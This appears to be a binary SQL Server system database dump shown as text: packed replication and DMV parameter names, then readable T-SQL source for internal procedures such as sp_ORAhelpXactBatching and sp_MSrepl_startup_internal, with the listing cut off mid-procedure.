D@active_start_time_of_day6C8@frequency_interval6CJ@frequency_recurrence_factor6CJ@frequency_relative_interval6C4@frequency_subday6CF@frequency_subday_interval6(@tabid6se&@publisher6se,@publisher_db6se*@publication6se(@subscriber6se.@subscriber_db6yN@snapshot_application_finished!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|H|8

h
:

fBpD

|
T
&
			v	D		r6b6j d\2>|P.\<tLX,`	V)yZ?%}c6P&@publisher6P,@source_table6T @objid6+$"@article6+$0@destination_db6+$8@ignore_distributor6+$*@publication6+$&@publisher6+$0@publisher_type6+$$@reserved6+$(@subscriber6%.class6%.name6%.value060@pubid6pC(cached_time6pC(database_id6pC	0execution_count6pC4last_elapsed_time6pC8last_execution_time6pC6last_logical_reads6pC8last_logical_writes6pC8last_physical_reads6pC2last_worker_time6pC2max_elapsed_time6pC4max_logical_reads6pC6max_logical_writes6pC6max_physical_reads6pC
0max_worker_time6pC2min_elapsed_time6pC4min_logical_reads6pC6min_logical_writes6pC6min_physical_reads6pC0min_worker_time6pC$object_id6pC(pdw_node_id6pC(plan_handle6pC&sql_handle6pC6total_elapsed_time6pC8total_logical_reads6pC:total_logical_writes6pC:total_physical_reads6pC
4total_worker_time6pCtype6pC$type_desc6O&@distribdb6O*@distributor6O@local6O&@publisher6O,@publisher_id6O0@publisher_type6O(@rpcsrvname6O	"@version6O6@working_directory6mZU*@publication6mZU&@publisher6mZU(@subscriber6mZU.@subscriber_db61W*@publication61W&@publisher61W0@publisher_type61W(@subscriber61W.@subscriber_db6^^2@active_end_date6^^@@active_end_time_of_day6^^6@active_start_date6^^
D@active_start_time_of_day6^^"@article6^^0@destination_db6^^>@distribution_job_name6^^8@distribution_jobid6^^<@dts_package_location6^^4@dts_package_name6^^<@dts_package_password6^^8@frequency_interval6^^
J@frequency_recurrence_factor6^^	J@frequency_relative_interval6^^4@frequency_subday6^^F@frequency_subday_interval6^^0@frequency_type6^^0@from_auto_sync6^^8@ignore_distributor6^^H@ignore_distributor_failure6^^,@offloadagent6^^.@offloadserver6^^>@optional_command_line6^^2@previous_status6^^*@publication6^^&@publisher6^^<@skipobjectactivation6^^ @status6^^(@subscriber6g&@object_id6g*@object_name6g,@object_owner6j(ag_group_id6jag_id6j ag_name6j.ag_resource_id6jHautomated_backup_preference6jRautomated_backup_preference_desc6j@failure_condition_level6j
:health_check_timeout6j2local_replica_id6j6local_replica_role6j@local_replica_role_desc6j	8local_replica_state6j
Blocal_replica_state_desc6j6primary_replica_id6jDrequired_copies_to_commit6ho(@OptionName6ho*@OptionValue6ho$@ProcName66@cmd66*@publication66(@scriptfile6@artid6 @bitmap6@pubid6:$@loginame6>$@procname63&@data_type63"@ODBCVer6"@article6*@publication6&@publisher6e)"alert_id6e)&alert_name6e)*component_id6e)$condition6e)
0condition_value6e)(description6e)"severity6e)state6e)	status6e)type66CONSTRAINT_CATALOG60CONSTRAINT_NAME64CONSTRAINT_SCHEMA6,TABLE_CATALOG6&TABLE_NAME6*TABLE_SCHEMA6E
8active_worker_count6P,@source_owner6P0@publisher_type6&@publisher6,@publisher_db6*@publication6&@publisher6,@publisher_db6 @job_id6@hours6,@session_type6&@publisher6,@publisher_db6*@publication6$L4&@publisher6$L4,@publisher_db6$L4(@xact_seqno6Jc94@primary_database6Jc94@secondary_server6Jc98@secondary_database6$@art_nick64@num_rows_to_move6@gen60@changes_in_gen6(@target_gen6>@changes_in_target_gen6@@move_contents_rows_too6V,*@publication6V,"@articleDDvdfH(
zP(l4RxJ*jB"d&Lr
j
6
T2xF


p
B

			r	J		Z6t<l<j:h6X$|P*x\B&Z"F`)zD/6lB@publisher_security_mode6.allocations_kb6>allocations_kb_per_sec6<future_allocations_kb6	4last_notification66memory_broker_type62overall_limit_kb6 pool_id6Bpredicted_allocations_kb6<target_allocations_kb6zF0@parameter_name6zF4@procedure_schema6=P@flagc6N&@publisher6N,@publisher_db6N*@publication6N(@subscriber6N @job_id6O&@publisher6O,@publisher_db6O*@publication6O6@exclude_anonymous6f&@publisher6f,@publisher_db6f*@publication6f<@dynamic_filter_login6fB@dynamic_filter_hostname6f@@dynamic_snapshot_jobid6)|!@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ait_time_ms6֩>waiting_requests_count66!
Dconfigured_database_count66!0connected_state66!	:connected_state_desc66!"group_id66!"is_local66!Nlast_connect_error_description66!
Dlast_connect_error_number66!Jlast_connect_error_timestamp66!4operational_state66!>operational_state_desc66!&replica_id66!role66!$role_desc6
6"@article6
6*@publication6
6&@publisher6
6,@publisher_db660@cleaning_delay66 @dbname66 @fileid/<R6/<R @pbinin6Fh$@accuracy6Fh(@index_name6Fh&@is_unique6Fh(@table_name6Fh*@table_owner6Fh2@table_qualifier6#Zj2@distribution_db6#Zj@login6#Zj$@password6#Zj @server6?u*@publication6?u&@publisher6|z @action6|z*@publication6|z&@publisher6|z,@publisher_db6tԇ@alter6tԇ"@article6tԇ$@procname6tԇ*@publication6͚2@base_table_rows6͚4@cells_per_object6͚
0@distinct_srids6͚
.@do_output_xml6͚6@index_total_pages6͚	2@internaltabname6͚@maxx6͚@maxy6͚@minx6͚@miny6͚,@results_card6͚.@verboseoutput6͚(@xml_output6	.@activeenddate68@activeendtimeofday62@activestartdate6
<@activestarttimeofday6,@freqinterval6<@freqrecurrencefactor6<@freqrelativeinterval62@freqsubinterval6*@freqsubtype6$@freqtype6&@job_login6,@job_password6(@newagentid6*@publication6&@publisher62@publisher_login68@publisher_password6B@publisher_security_mode6
6@snapshot_job_name6 @Action6&@LoginName6$@Password62@UserNamePattern6'(@level0name6'(@level0type6'(@level1name6'(@level1type6'(@level2name6;*@publication6;(@subscriber6;.@subscriber_db6;D@subscriber_security_mode6;4@subscriber_login6;:@subscriber_password6;&@job_login6;,@job_password6;	$@job_name6;
0@frequency_type6;8@frequency_interval6;J@frequency_relative_interval6;
J@frequency_recurrence_factor6;4@frequency_subday6;F@frequency_subday_interval6;D@active_start_time_of_day6;@@active_end_time_of_day6;6@active_start_date6;2@active_end_date6;4@dts_package_name6;<@dts_package_password6;<@dts_package_location6;:@enabled_for_syncmgr6;>@distribution_job_name6;&@publisher6;:@subscriber_provider6;8@subscriber_datasrc6;:@subscriber_location6;H@subscriber_provider_string6;8@subscriber_catalog6&r @prefix6&r@tabid6&r4@peerconflictname6qA&@publisher6qA,@publisher_db6qA*@publication6qA(@subscriber6qA.@subscriber_db6qA @action6$@srv_orig6"@db_orig6$@keep_cdc6j66j@pubid6g@artid6g\@subscriber_of_wellpartitionedarticle!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P(\~Z4

d
2

hDpD

p
H

				~	L		R(rH(6vDrN. j<xp<>x PP.hP^4p<`>n0`r)x|	?6!n*@table_owner6!n2@table_qualifier67r*@distributor67r0@from_scripting67r8@heartbeat_interval67r$@password6x*@publication6x&@publisher6x2@tracer_token_id6j,database_name6j4group_database_id6j6is_database_joined6j4is_failover_ready6jJis_pending_secondary_suspend6j*recovery_lsn6j&replica_id6j.truncation_lsn64"@article64@objid64*@publication64(@queued_pub6&@bitstring6ғ$@database6ғ@name6ү"@grantee6ү"@grantor6ү.@table_catalog6ү(@table_name6ү,@table_schema6ү,@table_server6j(@index_name6j.@table_catalog6j(@table_name6j,@table_schema6j,@table_server69n&@curdistdb60@command_string6*@publication6 @object6S@artid6S2@identity_insert6S@objid6S @prefix6S @suffix6I"@article6I*@publication6?:@artid6?:*@clause_type6?: @indent6?:@objid6?:"@op_type6?:8@primary_key_bitmap6?: @ts_coldV6(@table_name6,@table_schema6(@table_type6B4@IndexNamePattern6B(@OptionName6B*@OptionValue6C&@fisqueued6C @indent6C@objid6C"@op_type
6
4@len_minorversion6*@publication6(@index_name6,@table_schema64 @indent64@objid648@primary_key_bitmap64*@version_col6"@@activate_articles_only6"*@publication6"&@publisher6"0@publisher_type6
$2built_substitute6
$name6
$(promise_avg6
$,promise_total6
$"promised6
$$succeeded6xk*@tabid666@colid6	V>&@ownername6	V>&@tablenameKSB6KSB*@publication6KSB0@publication_id6KSB,@publisher_db6KSB,@publisher_id6xO"@article6xO0@destination_db6xO@found6ב(@request_id6ב*@publication6ב2@originator_node6ב,@orginator_db6ב @cmdtxt6oD,@publisher_id6oD,@publisher_db6oD(@article_id6oD(@xact_seqno6oD@reset6oD*@publication6oD2@publisher_seqno6oD.@ss_cplt_seqno6ޛ@id6ޛ.@error_type_id6ޛ0@source_type_id6ޛ*@source_name6ޛ(@error_code6ޛ(@error_text6ޛ(@session_id6ޛ.@add_event_log6ޛ	6@event_log_context6ޛ
2@map_source_type6X&@publisher6X,@publisher_db6X*@publication6X"@article6X(@article_id6X8@destination_object6X.@source_object6X*@description6X	,@source_owner6X
6@destination_owner6X$@internal6&@publisher6,@publisher_db6*@publication6 @topNum66@exclude_anonymous<o6<o&@repl_date6<o2@komodo_duration6<o"@as_time6u&@publisher6u,@publisher_db6u&@tablename6u*@current_max6u&@pub_range6u&@threshold6u@range6u&@next_seed6u	,@max_identity6 &@publisher6  @dbname6 B@publisher_linked_server6 8@drop_linked_server6g@mode6g4@secondary_server6g8@secondary_database6g,@secondary_id6g0@primary_server6g0@monitor_server6g4@primary_database6g6@restore_threshold6g	2@threshold_alert6g
B@threshold_alert_enabled6g4@last_copied_file6g4@last_copied_date6g
<@last_copied_date_utc6g8@last_restored_file6g8@last_restored_date6g@@last_restored_date_utc6g>@last_restored_latency6gD@history_retention_period6#&@EventData6#0@ddl_authorized6D*@publication6D"@article6D(@base_objid6D(@join_objid6D*@join_unique6D,@check_filter6D6@join_filterclause565&@tablenick6!@objid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@:df<.



t
R
&
\2rR&

04dNr

p
R
2

			^	2	
	dD*PbnpR zT(~R&pL&P.Zn~FH.Z^X2T Hn*R,~XrN@`x)
R}6܍V$@proctype6܍V*@publication6p]	BCHARACTER_MAXIMUM_LENGTH6p]
>CHARACTER_OCTET_LENGTH6p]<CHARACTER_SET_CATALOG6p]6CHARACTER_SET_NAME6p]:CHARACTER_SET_SCHEMA6p]4COLLATION_CATALOG6p].COLLATION_NAME6p]2COLLATION_SCHEMA6p].COLUMN_DEFAULT6p](COLUMN_NAME6p]$DATA_TYPE6p]6DATETIME_PRECISION6p].DOMAIN_CATALOG6p](DOMAIN_NAME6p],DOMAIN_SCHEMA6p](IS_NULLABLE6p]4NUMERIC_PRECISION6p]@NUMERIC_PRECISION_RADIX6p]
,NUMERIC_SCALE6p]2ORDINAL_POSITION6p],TABLE_CATALOG6p]&TABLE_NAME6p]*TABLE_SCHEMAnyf6nyf$@password6f0completed_count6f,max_wait_time6f(pdw_node_id6f,request_count6f(signal_time6f$wait_name6f$wait_time6
z*@description6
z*@publication6	~{@artid6	~{,@fisqueuedpub6	~{,@identity_col6	~{ @indent6	~{@objid6	~{8@primary_key_bitmap6	~{ @ts_col6j(database_id6j@total_log_size_in_bytes6j@used_log_space_in_bytes6jDused_log_space_in_percent6&0@connect_string6&@owner6&(@trigger_id6ޚ0@parameter_name6ޚ4@procedure_schema66	$@agent_id66"@cftproc66 @falter66.@filter_clause66
,@identity_col66@objid66
8@primary_key_bitmap66(@proc_owner66$@procname66*@publication66&@publisher66,@publisher_db66(@pubversion66$@trigname66 @ts_col6@dbms6"@version6ݜ*@publication6ݜ&@publisher6ݜ,@publisher_db6ݜ&@runstatush6h@input6|&heart_beat6|,instance_name6|6instance_pipe_name6|BOS_process_creation_date6|,OS_process_id6|<owning_principal_name6|:owning_principal_sid6|Howning_principal_sid_binary6|	(pdw_node_id6(@columnmask6@owner6&@publisher6&@rowfilter6@table6w!"@colname6j4@fDisableProcExec6Rφ&@job_login6Rφ,@job_password6Rφ.@frompublisher6(Ɯ&@publisher6(Ɯ,@publisher_db6(Ɯ*@publication6(Ɯ(@subscriber6(Ɯ.@subscriber_db6*@publication6"@article67c@repid6&@tablenick6"@rowguid6.@conflict_type6*@reason_code6*@reason_text66@origin_datasource6@pubid6"@lineage6	4@conflicts_logged6
*@compatlevel6&@source_id6&@tablenick6"@rowguid6"@lineage6*@compatlevel6e@artid6e@objid6e<@qualified_table_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pR,FlP

l
6

f@l@


l
N
"
				Z	*		lF "LBp0pR2hD xH$dh<tLn<j.`Os)
~9!XF6u&@publisher6u,@publisher_db6(@whattodrop6%0"@article6%00@destination_db6%0$@property6%0*@publication6%0&@publisher6%00@publisher_type6%0(@subscriber6%0@value6Z@artid6Z.@publishertype6Z&@src_objid>6>&@agenttype6> @job_id6_(@DatabaseId6_ @FileId6_(BytesOnDisk6_$BytesRead6_*BytesWritten6_DbId6_&FileHandle6_FileId6_
$IoStallMS6_,IoStallReadMS6_	.IoStallWriteMS6_(NumberReads6_*NumberWrites6_$TimeStamp6/class6/name6/value6i(@agent_type6i2@distribution_db6+@alter6+"@article6+$@del_proc6+$@ins_proc6+*@publication6+$@upd_proc6+$@upd_trig6g(database_id6g"index_id6g6last_system_lookup6g2last_system_scan6g2last_system_seek6g6last_system_update6g
2last_user_lookup6g	.last_user_scan6g.last_user_seek6g2last_user_update6g$object_id6g.system_lookups6g
*system_scans6g*system_seeks6g.system_updates6g*user_lookups6g&user_scans6g&user_seeks6g*user_updates6+Q(@DatabaseId6+Q"@IndexId6+Q@Mode6+Q$@ObjectId6+Q2@PartitionNumber6+Q:alloc_unit_type_desc6+QFavg_fragment_size_in_pages6+Q	Javg_fragmentation_in_percent6+Q
Navg_page_space_used_in_percent6+QBavg_record_size_in_bytes6+Q<compressed_page_count6+Q(database_id6+Q>forwarded_record_count6+Q
.fragment_count6+Q6ghost_record_count6+Q(index_depth6+Q"index_id6+Q(index_level6+Q0index_type_desc6+QBmax_record_size_in_bytes6+QBmin_record_size_in_bytes6+Q$object_id6+Q&page_count6+Q2partition_number6+Q*record_count6+QFversion_ghost_record_count6&<conversation_group_id6&$is_system6u(@subscriber6&@publisher6,@publisher_db6*@publication6<@dynamic_filter_login6B@dynamic_filter_hostname60@frequency_type68@frequency_interval64@frequency_subday6	F@frequency_subday_interval6
J@frequency_relative_interval6J@frequency_recurrence_factor66@active_start_date6
2@active_end_date6D@active_start_time_of_day6@@active_end_time_of_day6&@job_login6,@job_password6&@publisher6,@publisher_db6*@publication6P[&@EventData6:@num_genhistory_rows66@num_contents_rows68@num_tombstone_rowsJlF"

n
F
$
Z2f

j
F
*

			j	@		l:vDnJ f>"vHpL$b4zP,jDV ,rNn<n`&)tl
2y6C(@table_name6C,@table_schema6C,@table_server6K"@article6K@owner6K*@publication6K&@publisher6K&@tablename6UL0@packageversion6UL&@publisher6V"@numrows&b6&b@quote6&b"@tabname6g(@xact_seqno6mg(@membername6mg$@rolename6,m@artid6,m&@publisher6,m.@publishertype6Sp(database_id6Sp*host_address6Sp$is_active6Spname6Sp*principal_id6Sp"xml_data6s&@publisher6s0@publisher_type6pu@owner6pu&@publisher6pu&@tablename6=x$@clauseno6=xdocid6=xscore6م.@subscriber_db6م6@subscription_type6*enlist_count6"is_bound6(is_enlisted6"is_local68is_user_transaction6	>open_transaction_count6&session_id6>transaction_descriptor6.transaction_id6<(create_date6<name6<$object_id6<2procedure_number6<$schema_id6<type6e@artid6e<@propagate_ddl_change6e@pubid6o*@publication6o&@publisher6o0@publisher_type6o2@tracer_token_id6֕@login6֕$@password6֕.@security_mode6I8@ignore_distributor6I&@no_checks6I&@publisher6% @dbName6%&@filegroup6%(@filegrowth6%$@filename6%"@maxsize6%@name6%@size6$@password6拿&@data_type6拿"@ODBCVer61t(category_id61tname61ttype64appdomain_address6*appdomain_id6.appdomain_name68compatibility_level6
cost6,creation_time6db_id6state60strong_refcount66survived_memory_kb6Dtotal_allocated_memory_kb6
@total_processor_time_ms6 user_id6value6	,weak_refcount6G&@EventData6G&@procmapid60*component_id60is_key60,physical_name60(property_id6;Ys&@publisher6;Ys,@publisher_db6;Ys*@publication6;Ys"@article6;Ys(@subscriber6;Ys0@destination_db6;Ys2@subscriptionlsn6;Ys&@lsnsource6;Ys	F@originator_publication_id6;Ys
>@originator_db_version6;Ys<@originator_meta_data6;Ys:@nosync_setup_script6;Ys
0@next_valid_lsn6K4@article_resolver6K0@resolver_clsid6K8@is_dotnet_assembly6K<@dotnet_assembly_name6K6@dotnet_class_name6K&@publisher6E*@publication6E"@article6E(@filtername6E4@join_articlename6E6@join_filterclause6E2@join_unique_key6EF@force_invalidate_snapshot6EF@force_reinit_subscription6E	*@filter_type6_*@publication6_@level6$&@tablenick6$"@rowguid6$(@generation6$"@lineage6$@colv6$@type6$.@was_tombstone6$*@compatlevel6$	$@isinsert6$
@pubid6$8@publication_number6$,@partition_id6$
6@partition_options6 @vector6&@tablenick8bX6<t@~`<bxL0

V
&

pBf@


v
P
0


		~	Z	<	
	&Fl0~d<l4h:tDV`2n&jB\:pJ `c<>	250/i 8
--
-- Name:
--		sp_ORAhelpXactBatching
--
-- Description:
--		Return parity of the Xact Batching Enabled flag 
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--

CREATE PROCEDURE sys.sp_ORAhelpXactBatching
(
	@publisher		sysname,
	@enabled		bit = NULL OUTPUT
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Process help
	CREATE TABLE #XactSetJob
	(
		xactbatchingenabled		varchar(1)
	)
	
	--
	-- populate a temp table with the result of a query of HREPL_Publisher Xact batching eanbled flag
	--
	SELECT @InsColumnList    = 'xactbatchingenabled'
	SELECT @SelectColumnList = 'PUBLISHER_XACTSETENABLED'

	INSERT INTO #hquery(cmd) VALUES (N'SELECT PUBLISHER_XACTSETENABLED FROM HREPL_PUBLISHER');
	
	EXEC @retcode = sp_ORAremotequery 
					@Server			= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable		= '#XactSetJob',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21787, 16, -1, @publisher)
		RETURN (1)
	END

	-- If no output parameters have been specified, return the result set
	IF @enabled IS NULL 
	BEGIN
		SELECT * FROM #XactSetJob
		RETURN(0)
	END

	-- If @enabled is passed as a parameter, return the flag as an output
	-- parameter.
	IF @enabled IS NOT NULL
		SET @enabled = (SELECT CONVERT(bit,xactbatchingenabled) from #XactSetJob)

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<P7\0# 8create procedure sys.sp_MSrepl_startup_internal
as
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- Drop and create publisher side cache table
    /*
    if exists (select * from tempdb.sys.objects where name = 'MSpublisher_access' and
    type = 'U')
        drop table tempdb.dbo.MSpublisher_access

    create table tempdb.dbo.MSpublisher_access
    (
    spid int NOT NULL,
    db_id int not null,
    publication sysname not null,
    login_time datetime not null,
    pubid uniqueidentifier null -- Used for merge only.
    )

    CREATE CLUSTERED INDEX ucMSpublisher_access ON tempdb.dbo.MSpublisher_access
        (spid, publication, db_id)
    exec tempdb.dbo.sp_MS_marksystemobject 'dbo.MSpublisher_access'
*/

    -- Drop and create distributor side cache table
    -- We need to avoid publisher and distributor using the same table to prevent
    -- contention in local distributor case.
    if exists (select * from master.dbo.sysservers
                  WHERE  srvstatus & 8 <> 0 and UPPER(datasource collate database_default) = UPPER(@@servername) collate database_default)
    begin
        if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
        type = 'U')
            drop table tempdb.dbo.MSdistributor_access

        create table tempdb.dbo.MSdistributor_access
        (
        spid int NOT NULL,
        db_id int not null,
        agent_id int not null,
        agent_type int not null,
        publication_id int not null,
        login_time datetime not null
        )

		create clustered index ucMSdistributor_access on tempdb.dbo.MSdistributor_access
			(spid, login_time)
        
        exec tempdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributor_access'

		-- init perfmon counters
		exec sys.sp_MSinit_replication_perfmon
   end
0Q) 38
create procedure sys.sp_server_info
(
    @attribute_id  int = null
)
as
    select * from
    (
        select
            *
        from
            sys.spt_server_info

        union

        select
            ATTRIBUTE_ID    = 16,
            ATTRIBUTE_NAME  = convert(varchar(60), 'IDENTIFIER_CASE') collate catalog_default,
            ATTRIBUTE_VALUE = convert(varchar(255),
                                case when 'a' <> 'A' then 'SENSITIVE' else 'MIXED' end) collate catalog_default

        union

        select
            ATTRIBUTE_ID    = 18,
            ATTRIBUTE_NAME  = convert(varchar(60), 'COLLATION_SEQ') collate catalog_default,
            ATTRIBUTE_VALUE = convert(varchar(255),
